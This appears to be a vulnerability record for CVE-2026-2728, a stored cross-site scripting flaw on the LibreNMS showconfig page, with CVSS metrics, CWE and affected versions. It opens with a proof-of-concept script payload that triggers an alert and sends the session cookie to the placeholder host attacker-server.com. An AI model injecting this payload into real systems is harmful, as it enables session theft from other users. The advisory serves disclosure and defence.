CVE-2026-2728

<!-- PoC for CVE-2026-2728 Inject the following payload into the vulnerable field on the showconfig page. --> <script> // Simple alert to verify execution alert('CVE-2026-2728 XSS Triggered'); // Example: Exfiltrate session cookie var img = new Image(); img.src = "http://attacker-server.com/log?c=" + encodeURIComponent(document.cookie); </script>

{"cve": {"id": "CVE-2026-2728", "sourceIdentifier": "ab69c47f-b95e-4bf2-b2d9-4b1fd1b24b4a", "published": "2026-04-13T11:16:05.407", "lastModified": "2026-04-22T19:46:01.647", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LibreNMS versions before 26.3.0 are affected by an authenticated Cross-site Scripting vulnerability on the showconfig page. Successful exploitation requires administrative privileges. Exploitation could result in XSS attacks being performed against other users with access to the page."}], "metrics": {"cvssMetricV40": [{"source": "ab69c47f-b95e-4bf2-b2d9-4b1fd1b24b4a", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "ab69c47f-b95e-4bf2-b2d9-4b1fd1b24b4a", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.3.0", "matchCriteriaId": "A43AE03C-7129-4F1F-B01C-28637F82A1B4"}]}]}], "references": [{"url": "https://projectblack.io/blog/librenms-authenticated-rce-and-xss/#xss-on-showconfig-page-2630", "source": "ab69c47f-b95e-4bf2-b2d9-4b1fd1b24b4a", "tags": ["Exploit", "Third Party Advisory"]}]}}